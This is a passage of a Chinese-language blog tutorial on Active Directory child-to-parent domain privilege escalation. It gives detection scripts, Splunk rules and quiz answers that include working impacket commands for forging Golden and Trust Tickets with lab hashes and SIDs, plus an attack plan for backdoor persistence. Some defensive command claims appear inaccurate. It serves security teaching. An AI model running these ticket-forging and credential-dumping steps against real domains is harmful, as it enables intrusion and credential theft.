使用 PowerShell 分析日誌：

# 偵測可疑的 TGS 請求（包含異常 SID）
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4769
} | Where-Object {
    $_.Message -match "Enterprise Admins" -and
    $_.Properties[0].Value -notmatch "^(Administrator|EA-Admin)"
} | Select-Object TimeCreated, @{N='User';E={$_.Properties[0].Value}}, @{N='Service';E={$_.Properties[4].Value}}

偵測 2：監控 DCSync 活動

偵測非 DC 執行的 DCSync：

# 監控 Event ID 4662（目錄服務存取）
$dcsyncEvents = Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4662
} | Where-Object {
    $_.Message -match "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or  # DS-Replication-Get-Changes
    $_.Message -match "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"       # DS-Replication-Get-Changes-All
}

# 過濾出非 DC 的來源
$dcsyncEvents | Where-Object {
    $sourceIP = $_.Properties[18].Value
    # 檢查來源 IP 是否為已知 DC
    $sourceIP -notin @("192.168.139.10", "192.168.139.11")
} | Select-Object TimeCreated, @{N='SourceIP';E={$_.Properties[18].Value}}

SIEM 規則範例（Splunk）：

index=windows EventCode=4662 
| search Message="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR Message="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where NOT (src_ip="192.168.139.10" OR src_ip="192.168.139.11")
| stats count by src_ip, user, _time
| where count > 5

偵測 3：監控信任帳號的異常存取

監控 Trust Account 的 TGT 請求：

# 偵測 Trust Account 的異常登入
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4768  # TGT 請求
} | Where-Object {
    $_.Properties[0].Value -like "*$" -and  # 機器帳號
    $_.Properties[0].Value -in @("SEVENKINGDOMS$", "ESSOS$")
} | Select-Object TimeCreated, 
    @{N='Account';E={$_.Properties[0].Value}}, 
    @{N='ClientIP';E={$_.Properties[9].Value}},
    @{N='PreAuth';E={$_.Properties[10].Value}}

預期 vs 異常行為：

行為	正常	異常	說明
TGT 請求來源	來自 DC	來自非 DC IP	Trust Account 應該只在 DC 間使用
請求頻率	低頻（每小時 < 10 次）	高頻（每分鐘 > 1 次）	可能是攻擊者在嘗試偽造票證
Pre-Authentication	有	無	偽造的票證通常沒有 Pre-Auth

偵測 4：Golden Ticket 特徵

偵測方法：

# 1. 監控生命週期異常的 TGT
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4768
} | Where-Object {
    # Golden Ticket 通常有 10 年生命週期
    $_.Properties[6].Value -gt 525600  # 大於 365 天（以分鐘計）
} | Select-Object TimeCreated, @{N='User';E={$_.Properties[0].Value}}, @{N='Lifetime';E={$_.Properties[6].Value}}

# 2. 監控從不存在的使用者發起的 TGS 請求
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4769
} | ForEach-Object {
    $userName = $_.Properties[0].Value
    $userExists = Get-ADUser -Filter "SamAccountName -eq '$userName'" -ErrorAction SilentlyContinue
    if (-not $userExists) {
        [PSCustomObject]@{
            TimeCreated = $_.TimeCreated
            FakeUser = $userName
            Service = $_.Properties[4].Value
        }
    }
}

使用 Microsoft ATA/Defender for Identity：

# 部署 Defender for Identity 感應器
# 自動偵測：
# - Golden Ticket 攻擊
# - DCSync 攻擊
# - 異常的 Kerberos 活動
# - 跨域的異常認證

# 查詢 Defender for Identity 警報
Get-MDIAlert | Where-Object {
    $_.Category -in @("CredentialAccess", "LateralMovement")
} | Select-Object TimeGenerated, Title, Severity, Status

第四部分：小試身手

題目 1：信任關係的安全邊界

情境：
你的公司有以下 AD 架構：

corp.example.com (父域)
├── finance.corp.example.com (財務部門)
└── hr.corp.example.com (人資部門)

如果攻擊者取得 hr.corp.example.com 的 Domain Admin 權限，以下哪個說法是正確的？

A) 攻擊者只能控制 HR 部門的資源，無法影響財務部門
B) 攻擊者可以直接提權到父域，進而控制整個森林
C) 攻擊者需要先攻破財務部門，才能提權到父域
D) 只要啟用 SID Filtering，就能完全阻止攻擊者提權

正確答案：B

詳細解析：

這題考核對 Active Directory 安全邊界的理解。讓我們逐一分析：

為什麼 B 是正確答案？

Microsoft 明確指出："Domain is not a security boundary, Forest is."

當攻擊者取得子域的 Domain Admin 權限後，可以透過多種方法提權到父域：

Golden Ticket with ExtraSid：

# 攻擊者的操作
1. DCSync 取得 hr.corp.example.com 的 krbtgt hash
2. 建立 Golden Ticket 並注入父域 Enterprise Admins SID
3. 使用票證對父域執行 DCSync
4. 取得整個森林的控制權

Trust Ticket：

# 攻擊者的操作
1. 從 hr.corp.example.com 的 NTDS.dit 提取 Trust Key
2. 偽造 Inter-Realm TGT
3. 向父域請求服務票證
4. 存取父域資源

其他選項為什麼錯誤？

A) 錯誤：

子域 Domain Admin 可以透過信任機制提權
攻擊路徑：hr.corp.example.com → corp.example.com → finance.corp.example.com
實際案例：只要拿下一個子域，就能控制整個森林

C) 錯誤：

不需要攻破財務部門
可以直接從 HR 部門提權到父域
父域的 Enterprise Admins 對所有子域都有控制權

D) 錯誤：

SID Filtering 預設不啟用於父子域之間
即使啟用，也會導致正常的跨域功能失效
SID Filtering 主要用於外部森林信任，不是父子域

實戰建議：

如果需要真正的安全隔離，應該：

❌ 錯誤架構（假象隔離）
corp.example.com
├── finance.corp.example.com
└── hr.corp.example.com

✅ 正確架構（真正隔離）
forest-finance.example.com (獨立森林)
forest-hr.example.com (獨立森林)
forest-corp.example.com (管理森林)

關鍵重點：

父子域之間不是安全邊界
子域 Domain Admin 可以提權到父域
唯一真正的安全邊界是森林（Forest）
需要隔離的資源應該放在不同森林

題目 2：Golden Ticket vs Trust Ticket

情境：
安全團隊發現公司的 krbtgt 帳號密碼已經被竊取，為了防止 Golden Ticket 攻擊，執行了以下操作：

# 第一次重置 krbtgt 密碼
.\New-CtmADKrbtgtKeys.ps1 -SkipRODC

# 等待 24 小時

# 第二次重置 krbtgt 密碼
.\New-CtmADKrbtgtKeys.ps1 -SkipRODC

以下哪個說法是正確的？

A) 所有使用舊 krbtgt hash 建立的 Golden Ticket 和 Trust Ticket 都會失效
B) Golden Ticket 會失效，但 Trust Ticket 仍然有效
C) Trust Ticket 會失效，但 Golden Ticket 仍然有效
D) 兩種票證都不會失效，需要重建整個域

正確答案：B

詳細解析：

這題考核對 Golden Ticket 和 Trust Ticket 差異的深入理解。

為什麼 B 是正確答案？

Golden Ticket 和 Trust Ticket 使用不同的密鑰：

Golden Ticket：
- 使用 krbtgt 帳號的密碼 hash
- 當 krbtgt 密碼重置兩次後，舊 hash 完全失效
- 結果：Golden Ticket 失效 ✅
Trust Ticket：
- 使用 Trust Key（儲存在信任帳號中，如 PARENTDOMAIN$）
- krbtgt 重置不影響 Trust Key
- 結果：Trust Ticket 仍然有效 ⚠️

具體攻擊流程對比：

# Golden Ticket 攻擊
攻擊者取得：krbtgt hash
重置 krbtgt → Golden Ticket 失效

# Trust Ticket 攻擊  
攻擊者取得：PARENTDOMAIN$ 的 hash（Trust Key）
重置 krbtgt → Trust Ticket 仍有效！

為什麼 Trust Ticket 更持久？

Trust Key 的特性：
1. 儲存位置：子域的 NTDS.dit
2. 更新頻率：很少更新（通常只在重建信任時）
3. 不受 krbtgt 重置影響
4. 需要手動重建信任關係才會改變

其他選項為什麼錯誤？

A) 錯誤：

Trust Ticket 不依賴 krbtgt hash
只有 Golden Ticket 會失效

C) 錯誤：

剛好相反
Golden Ticket 依賴 krbtgt，會失效
Trust Ticket 不依賴 krbtgt，仍有效

D) 錯誤：

Golden Ticket 確實會失效
不需要重建整個域

完整的清理步驟：

要同時清除 Golden Ticket 和 Trust Ticket，需要：

# 步驟 1：重置 krbtgt（清除 Golden Ticket）
.\New-CtmADKrbtgtKeys.ps1 -SkipRODC
# 等待 24 小時
.\New-CtmADKrbtgtKeys.ps1 -SkipRODC

# 步驟 2：重置信任關係（清除 Trust Ticket）
netdom trust child.parent.com /domain:parent.com /reset
# 或完全重建信任關係

實戰建議：

如果懷疑信任關係被攻破：

# 1. 檢查信任帳號的密碼年齡
Get-ADComputer -Filter {Name -like "*$"} -Properties PasswordLastSet |
    Where-Object {$_.DistinguishedName -like "*CN=System*"}

# 2. 如果密碼很舊（如 > 180 天），考慮重建信任
Remove-ADTrust -Identity "child.parent.com"
New-ADTrust -Name "child.parent.com" -Type "ParentChild"

關鍵重點：

Golden Ticket = krbtgt hash → 重置 krbtgt 有效
Trust Ticket = Trust Key → 重置 krbtgt 無效
Trust Ticket 需要重建信任關係才能清除
Trust Ticket 比 Golden Ticket 更持久

題目 3：SID Filtering 的實作

情境：
你負責管理以下兩個森林之間的信任關係：

sevenkingdoms.local ↔ essos.local (雙向森林信任)

使用 BloodHound 查詢後，發現信任關係的屬性為：

trustAttributes: FOREST_TRANSITIVE | TREAT_AS_EXTERNAL

關於這個設定，以下哪個說法是正確的？

A) TREAT_AS_EXTERNAL 表示已啟用 SID Filtering，可以有效防止跨森林提權
B) TREAT_AS_EXTERNAL 表示關閉 SID Filtering，攻擊者可以注入任意 SID
C) FOREST_TRANSITIVE 會自動啟用 SID Filtering，不需要額外設定
D) 這是最安全的設定，無需進行任何調整

正確答案：B

詳細解析：

這題考核對 SID Filtering 和信任屬性的深入理解。

為什麼 B 是正確答案？

TREAT_AS_EXTERNAL 是一個危險的屬性，它的含義是：

TREAT_AS_EXTERNAL = 將外部森林信任視為內部信任
                  = 關閉 SID Filtering
                  = 允許 SID History 通過

白話解釋：

想像兩家公司的門禁管理：

正常情況（SID Filtering 啟用）：
訪客想進入 → 檢查身分證 → 檢查是否有「假的主管證」→ 拒絕

TREAT_AS_EXTERNAL（SID Filtering 關閉）：
訪客想進入 → 只檢查身分證 → 不檢查「假的主管證」→ 放行

實際攻擊場景：

假設攻擊者在 essos.local 有 Domain Admin 權限：

# 1. 在 essos.local 建立 Golden Ticket
impacket-ticketer \
  -nthash <essos_krbtgt_hash> \
  -domain-sid <essos_sid> \
  -domain essos.local \
  -extra-sid <sevenkingdoms_EA_sid> \  # 注入 sevenkingdoms 的 Enterprise Admins SID
  attacker

# 2. 因為 TREAT_AS_EXTERNAL，sevenkingdoms.local 不會過濾這個 SID
# 3. 攻擊者成功提權到 sevenkingdoms.local！

其他選項為什麼錯誤？

A) 錯誤：

TREAT_AS_EXTERNAL 代表關閉 SID Filtering，不是啟用
這是最危險的設定之一

C) 錯誤：

FOREST_TRANSITIVE 只表示信任是可傳遞的
並不自動啟用 SID Filtering
需要明確檢查和設定

D) 錯誤：

這是最不安全的設定
必須立即啟用 SID Filtering

正確的防禦做法：

# 1. 檢查當前狀態
netdom trust essos.local /domain:sevenkingdoms.local /quarantine

# 輸出（危險）：
# SID filtering is NOT enabled on this trust.

# 2. 啟用 SID Filtering
netdom trust essos.local /domain:sevenkingdoms.local /EnableSIDHistory:No

# 3. 驗證
netdom trust essos.local /domain:sevenkingdoms.local /quarantine

# 輸出（安全）：
# SID filtering is enabled on this trust.

信任屬性對照表：

屬性	含義	SID Filtering	安全性
`WITHIN_FOREST`	同森林（父子域）	預設關閉	⚠️ 中等
`FOREST_TRANSITIVE`	跨森林信任	預設應該啟用	✅ 高（如正確設定）
`TREAT_AS_EXTERNAL`	視為外部	關閉	🔴 非常危險！
`CROSS_ORGANIZATION`	跨組織	預設啟用	✅ 高

檢測腳本：

# 檢測所有信任關係的 SID Filtering 狀態
Get-ADTrust -Filter * | ForEach-Object {
    $trust = $_
    $sidFilterCheck = netdom trust $trust.Name /domain:$trust.Source /quarantine
    
    [PSCustomObject]@{
        TrustName = $trust.Name
        Direction = $trust.Direction
        TrustType = $trust.TrustType
        TrustAttributes = $trust.TrustAttributes
        SIDFiltering = if ($sidFilterCheck -match "is enabled") { "✅ Enabled" } else { "🔴 DISABLED" }
        Risk = if ($sidFilterCheck -match "is enabled") { "Low" } else { "CRITICAL" }
    }
}

關鍵重點：

TREAT_AS_EXTERNAL = SID Filtering 關閉
跨森林信任必須啟用 SID Filtering
使用 netdom trust /quarantine 檢查狀態
發現關閉時立即啟用

題目 4：防禦機制的優先順序

情境：
公司的安全預算有限，你需要優先實作防禦措施。以下是四個可能的選項：

選項 A：將所有子域重構為獨立森林
選項 B：啟用外部森林信任的 SID Filtering
選項 C：部署 Microsoft Defender for Identity
選項 D：定期（每 180 天）重置 krbtgt 密碼

如果只能選擇兩個措施，基於成本效益和即時防護，你應該優先選擇？

A) 選項 A + 選項 B
B) 選項 B + 選項 C
C) 選項 C + 選項 D
D) 選項 A + 選項 D

正確答案：B（選項 B + 選項 C）

詳細解析：

這題考核對防禦措施的優先順序判斷和成本效益分析。

為什麼 B 是最佳選擇？

讓我們用矩陣分析每個選項：

措施	實作成本	實作時間	防護效果	即時性	CP 值
A) 重構為獨立森林	🔴 極高	🔴 數月	✅ 極佳	❌ 無	低
B) 啟用 SID Filtering	✅ 極低	✅ 1 小時	✅ 優秀	✅ 立即	極高
C) 部署 Defender for Identity	⚠️ 中等	⚠️ 數天	✅ 優秀	✅ 即時	高
D) 定期重置 krbtgt	✅ 低	✅ 1 天	⚠️ 中等	❌ 延遲	中等

選項 B：啟用 SID Filtering

✅ 優先選擇的理由：

# 實作成本：極低（只需一行指令）
netdom trust essos.local /domain:sevenkingdoms.local /EnableSIDHistory:No

# 實作時間：< 1 小時
# 防護效果：立即阻止跨森林提權攻擊
# 維護成本：幾乎為零

防護範圍：

阻止跨森林的 SID History 注入
防止外部森林偽造特權 SID
限制 Golden Ticket 的跨森林濫用
無副作用（對正常運作無影響）

選項 C：部署 Defender for Identity

✅ 優先選擇的理由：

實作成本：中等（需要授權費用）
實作時間：數天（安裝感應器、調整規則）
防護效果：全方位即時偵測
維護成本：低（自動化）

防護範圍：

即時偵測 Golden Ticket 攻擊
偵測 DCSync 活動
監控異常的 Kerberos 行為
自動警報和回應
提供攻擊路徑視覺化

為什麼不選其他組合？

選項 A：重構為獨立森林

❌ 不優先的原因：

實作成本：極高
- 需要重新規劃整個 AD 架構
- 遷移所有使用者、電腦、GPO
- 重新設定應用程式整合
- 業務中斷風險高

實作時間：數月到一年
- 規劃階段：1-2 個月
- 測試階段：1-2 個月
- 遷移階段：2-6 個月
- 穩定階段：1-2 個月

預算需求：
- 人力成本：數百萬
- 專案管理：數十萬
- 停機損失：難以估算

雖然這是最徹底的解決方案，但：

成本效益不佳
不適合緊急防護
可以作為長期目標

選項 D：定期重置 krbtgt

⚠️ 不優先的原因：

優點：
✅ 成本低
✅ 實作簡單

缺點：
❌ 只能清除已知的 Golden Ticket
❌ 無法防止新的攻擊
❌ 無法偵測攻擊行為
❌ Trust Ticket 不受影響
❌ 有 24 小時的防護空窗期

實戰建議：

第一階段（立即實作）：

# 1. 啟用 SID Filtering（1 小時）
netdom trust essos.local /domain:sevenkingdoms.local /EnableSIDHistory:No

# 2. 驗證設定
netdom trust essos.local /domain:sevenkingdoms.local /quarantine

# 3. 檢查所有外部信任
Get-ADTrust -Filter * | Where-Object {$_.TrustType -eq "Forest"}

第二階段（數天內）：

# 1. 部署 Defender for Identity
# 2. 設定警報規則
# 3. 整合 SIEM
# 4. 培訓 SOC 團隊

第三階段（持續改善）：

# 1. 建立 krbtgt 重置排程
# 2. 評估長期架構改善（獨立森林）
# 3. 實作 ESAE/Red Forest
# 4. 定期滲透測試

成本對比：

組合	初期成本	實作時間	即時防護	總評
A + B	極高	數月	✅	❌ 成本過高
B + C	中等	數天	✅	✅ 最佳
C + D	中等	數天	⚠️	⚠️ 防護不完整
A + D	極高	數月	❌	❌ 成本高且無即時防護

關鍵重點：

SID Filtering = 成本最低、效果立即、CP 值極高
Defender for Identity = 全方位偵測、即時警報
這兩個措施互補，形成完整的防禦體系
重構森林是長期目標，不適合優先實作
krbtgt 重置是輔助措施，不是主要防禦

題目 5：攻擊路徑分析

情境：
滲透測試團隊在模擬攻擊中成功取得以下憑證：

# 在子域 north.sevenkingdoms.local
eddard.stark:FightP3aceAndHonor!  # Domain Admin

# 已提取的 Hash
north.sevenkingdoms.local/krbtgt: cc685e516100abe936fe151297f39dbc
SEVENKINGDOMS$: f6ae3f5c041d4bd64242309605f78c5b

# 父域 SID
sevenkingdoms.local: S-1-5-21-3099511005-1426058213-160971164

團隊需要從子域提權到父域。考慮到持久性和隱蔽性，以下哪個攻擊路徑是最佳選擇？

A) 使用 krbtgt hash 建立 Golden Ticket，注入 Enterprise Admins SID
B) 使用 Trust Key 建立 Inter-Realm TGT（Trust Ticket）
C) 利用 Unconstrained Delegation 捕獲父域 DC 的 TGT
D) 使用 Pass-the-Hash 直接連線到父域 DC

正確答案：B（使用 Trust Ticket）

詳細解析：

這題考核對不同攻擊路徑的特性理解和實戰選擇。

為什麼 B 是最佳選擇？

讓我們用評分矩陣分析：

攻擊方法	持久性	隱蔽性	可靠性	複雜度	總評
A) Golden Ticket	⚠️ 中	⚠️ 中	✅ 高	✅ 低	⚠️ 良好
B) Trust Ticket	✅ 極高	✅ 高	✅ 高	⚠️ 中	✅ 優秀
C) Unconstrained Delegation	❌ 低	❌ 低	⚠️ 中	🔴 高	❌ 不推薦
D) Pass-the-Hash	❌ 無	🔴 極低	❌ 低	✅ 低	❌ 不適用

選項 B：Trust Ticket - 詳細分析

✅ 優勢：

1. 持久性極高：

# Golden Ticket 的生命週期
krbtgt 重置一次 → Golden Ticket 仍有效
krbtgt 重置兩次（間隔 24 小時）→ Golden Ticket 失效

# Trust Ticket 的生命週期
krbtgt 重置一次 → Trust Ticket 仍有效 ✅
krbtgt 重置兩次 → Trust Ticket 仍有效 ✅
只有重建信任關係 → Trust Ticket 才會失效

# 管理員重置 krbtgt 的頻率：常見（每 6 個月）
# 管理員重建信任的頻率：罕見（幾乎不會）

2. 隱蔽性高：

Golden Ticket 異常特徵：
- 票證生命週期：10 年（異常）
- 使用者名稱：可能不存在
- 請求來源：非 DC IP
- Defender for Identity 可偵測

Trust Ticket 正常特徵：
- 票證格式：標準 Inter-Realm TGT
- 行為模式：模仿正常的跨域認證
- 更難被 SIEM 偵測
- 看起來像合法的跨域存取

3. 實作方法：

# 步驟 1：建立 Trust Ticket
impacket-ticketer \
  -nthash f6ae3f5c041d4bd64242309605f78c5b \
  -domain-sid S-1-5-21-3845383931-1370366697-225289965 \
  -domain north.sevenkingdoms.local \
  -extra-sid S-1-5-21-3099511005-1426058213-160971164-519 \
  -spn krbtgt/sevenkingdoms.local \
  trustuser

# 步驟 2：請求服務票證
export KRB5CCNAME=trustuser.ccache
impacket-getST -k -no-pass \
  -spn cifs/kingslanding.sevenkingdoms.local \
  sevenkingdoms.local/trustuser@sevenkingdoms.local

# 步驟 3：使用票證存取
export KRB5CCNAME=trustuser@sevenkingdoms.local@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
impacket-secretsdump -k -no-pass trustuser@kingslanding.sevenkingdoms.local

為什麼不選其他選項？

選項 A：Golden Ticket

⚠️ 可行但不是最佳：

優點：
✅ 實作簡單
✅ 效果可靠
✅ 權限完整

缺點：
❌ 持久性較差（krbtgt 重置後失效）
❌ 較容易被偵測：
   - 票證生命週期異常
   - 異常的 Kerberos 行為
   - Defender for Identity 會警報
❌ 不如 Trust Ticket 隱蔽

實作對比：

# Golden Ticket
impacket-ticketer \
  -nthash cc685e516100abe936fe151297f39dbc \  # krbtgt hash
  -domain-sid S-1-5-21-3845383931-1370366697-225289965 \
  -domain north.sevenkingdoms.local \
  -extra-sid S-1-5-21-3099511005-1426058213-160971164-519 \
  goldenuser

# Trust Ticket
impacket-ticketer \
  -nthash f6ae3f5c041d4bd64242309605f78c5b \  # Trust Key
  -domain-sid S-1-5-21-3845383931-1370366697-225289965 \
  -domain north.sevenkingdoms.local \
  -extra-sid S-1-5-21-3099511005-1426058213-160971164-519 \
  -spn krbtgt/sevenkingdoms.local \  # 關鍵差異
  trustuser

選項 C：Unconstrained Delegation

❌ 不推薦：

攻擊流程：
1. 找到有無約束委派的機器（WINTERFELL）
2. 取得 WINTERFELL 的 SYSTEM 權限
3. 使用 Coercer 強制父域 DC 認證
4. 在 WINTERFELL 上捕獲父域 DC 的 TGT
5. 使用 TGT 執行 DCSync

問題：
❌ 複雜度高（需要多個步驟）
❌ 需要額外的權限（SYSTEM on WINTERFELL）
❌ 容易觸發 IDS/IPS 警報
❌ 強制認證可能被監控
❌ 持久性低（需要重複執行）
❌ 依賴特定主機設定

選項 D：Pass-the-Hash

❌ 不適用：

問題：
❌ 沒有父域使用者的 Hash
❌ 子域帳號無法直接存取父域
❌ 即使有 Hash，也無法跨域使用
❌ 完全不符合題目情境

實戰考量：

持久性對比：

時間軸分析：

第 0 天：攻擊者取得憑證
├─ Golden Ticket：使用 krbtgt hash
└─ Trust Ticket：使用 Trust Key

第 180 天：安全團隊重置 krbtgt（第一次）
├─ Golden Ticket：仍有效 ✅
└─ Trust Ticket：仍有效 ✅

第 181 天：安全團隊重置 krbtgt（第二次）
├─ Golden Ticket：失效 ❌
└─ Trust Ticket：仍有效 ✅

第 365 天：常規安全稽核
├─ Golden Ticket：已失效
└─ Trust Ticket：仍有效 ✅

除非重建信任 → Trust Ticket 才會失效

隱蔽性對比：

SIEM 警報機率：

Golden Ticket：
- 票證生命週期異常：🔴 高風險警報
- 使用者不存在：🔴 高風險警報
- 異常 SID：🔴 高風險警報
- 被偵測機率：70-80%

Trust Ticket：
- 標準 Inter-Realm TGT：✅ 正常行為
- 合法的跨域認證：✅ 正常行為
- SID 注入較隱蔽：⚠️ 需要深度檢查
- 被偵測機率：20-30%

建議的攻擊策略：

# 第一階段：建立持久存取
1. 使用 Trust Ticket 建立穩定的後門
2. 驗證存取權限
3. DCSync 提取所有憑證

# 第二階段：建立備用路徑
1. 使用 DCSync 取得的父域 krbtgt
2. 建立父域的 Golden Ticket 作為備用
3. 保留多個憑證

# 第三階段：持續監控
1. 定期測試 Trust Ticket 是否仍有效
2. 監控是否有信任關係重建
3. 必要時重新滲透

關鍵重點：

Trust Ticket 持久性最高（只受信任關係重建影響）
Trust Ticket 隱蔽性高（模仿正常跨域行為）
Golden Ticket 作為備用，不是首選
Unconstrained Delegation 太複雜，不適合這個情境
Pass-the-Hash 完全不適用於跨域提權

總結

今天我們深入學習了 Active Directory 子域到父域的提權攻擊，涵蓋了：

攻擊技術

信任關係枚舉：
- 使用 ldeep、BloodHound、LDAP 查詢信任關係
- 理解 Domain Trust 與 Forest Trust 的差異
- 識別危險的信任設定（TREAT_AS_EXTERNAL）
四種提權方法：
- 方法一：raiseChild.py 自動提權（含手動票證重建）
- 方法二：手動建立 Golden Ticket with ExtraSid
- 方法三：偽造 Trust Ticket（Inter-Realm TGT）
- 方法四：Unconstrained Delegation（Day 17）
攻擊原理：
- Enterprise Admins 群組的特殊地位
- SID 結構與 ExtraSid 注入機制
- Trust Key 與 krbtgt 的差異
- 為什麼域不是安全邊界

防禦策略

架構層面：
- 重新思考域架構設計（森林隔離）
- 實作 ESAE/Red Forest 模型
- 避免不必要的子域
技術層面：
- 啟用 SID Filtering
- 定期重置 krbtgt 密碼
- 保護 Trust Key
- 限制 Enterprise Admins 群組
偵測層面：
- 監控異常 Kerberos 票證請求
- 偵測 DCSync 活動
- 監控 Trust Account 異常存取
- 部署 Defender for Identity

關鍵概念

域不是安全邊界，森林才是
Trust Ticket 比 Golden Ticket 更持久
SID Filtering 是跨森林信任的關鍵防禦
子域 Domain Admin 可以提權到父域
Enterprise Admins 控制整個森林

AD 攻防實戰演練 Day 20：GPO 濫用與 LAPS 密碼提取

AD 攻防實戰演練 Day 22：跨森林與跨域信任攻擊實戰演練

系列文

資安這條路：AD 攻防實戰演練共 30 篇

RSS系列文訂閱系列文

27 人訂閱

完整目錄

熱門推薦

{{ item.channelVendor }} | {{ item.webinarstarted }} |

直播中

尚未有邦友留言

立即登入留言

參賽組數

902 組

團體組數

37 組

累計文章數

19752 篇

完賽人數

529 人

15th鐵人賽 16th鐵人賽 13th鐵人賽 14th鐵人賽 17th鐵人賽 12th鐵人賽 11th鐵人賽鐵人賽 2019鐵人賽 javascript 2018鐵人賽 python 2017鐵人賽 windows php c# linux windows server css react

IT邦幫忙

資安這條路：AD 攻防實戰演練系列 第 21 篇

AD 攻防實戰演練 Day 21：Active Directory 子域提權攻擊完全解析 - 從信任關係到父域控制

前情提要

學習目標

實驗環境需求

必備憑證與權限

工具清單

第一部分：理解 Active Directory 信任關係

1.1 什麼是信任關係？

1.2 信任關係的類型

Domain Trust（域信任）- 父子關係

Forest Trust（森林信任）- 獨立森林

1.3 枚舉信任關係

使用 ldeep 枚舉

步驟 1：查詢 north.sevenkingdoms.local 的信任關係

步驟 2：查詢 sevenkingdoms.local 的信任關係

使用 BloodHound 視覺化

對應的 LDAP 查詢

第二部分：子域到父域的提權攻擊

2.1 攻擊原理：為什麼可以從子域提權到父域？

2.2 方法一：使用 Impacket raiseChild.py（一鍵提權）

步驟 1：執行 raiseChild.py 取得憑證

步驟 2：驗證票證（發現問題）

步驟 3：手動建立正確的 Golden Ticket

步驟 4：驗證正確的票證

步驟 5：使用 Golden Ticket 執行 DCSync

步驟 6：使用獲得的憑證連線（推薦）

為什麼需要手動重建票證？

常見問題與解決方案

2.3 方法二：手動建立 Golden Ticket with ExtraSid

步驟 1：提取子域 krbtgt Hash

步驟 2：取得域 SID

步驟 3：建立 Golden Ticket with ExtraSid

步驟 4：使用 Golden Ticket 執行 DCSync

2.4 方法三：Trust Ticket（偽造 Inter-Realm TGT）

原理說明

步驟 1：提取 Trust Key

步驟 2：建立 Inter-Realm TGT

步驟 3：使用 Inter-Realm TGT 請求服務票證

步驟 4：使用服務票證存取父域

Trust Ticket 的特性

2.5 方法四：利用 Unconstrained Delegation

第三部分：防禦與偵測策略

3.1 架構層面的防禦

策略 1：重新思考域架構設計

策略 2：實作 Red Forest / ESAE 模型

3.2 技術層面的防禦

防禦 1：啟用並驗證 SID Filtering

防禦 2：監控 krbtgt 帳號

防禦 3：保護 Trust Key

防禦 4：限制 Enterprise Admins 群組

3.3 偵測層面的防禦

偵測 1：監控異常的 Kerberos 票證請求

偵測 2：監控 DCSync 活動

偵測 3：監控信任帳號的異常存取

偵測 4：Golden Ticket 特徵

第四部分：小試身手

題目 1：信任關係的安全邊界

題目 2：Golden Ticket vs Trust Ticket

題目 3：SID Filtering 的實作

題目 4：防禦機制的優先順序

題目 5：攻擊路徑分析

總結

攻擊技術

防禦策略

關鍵概念

尚未有邦友留言

標記使用者

資安這條路：AD 攻防實戰演練系列第 21 篇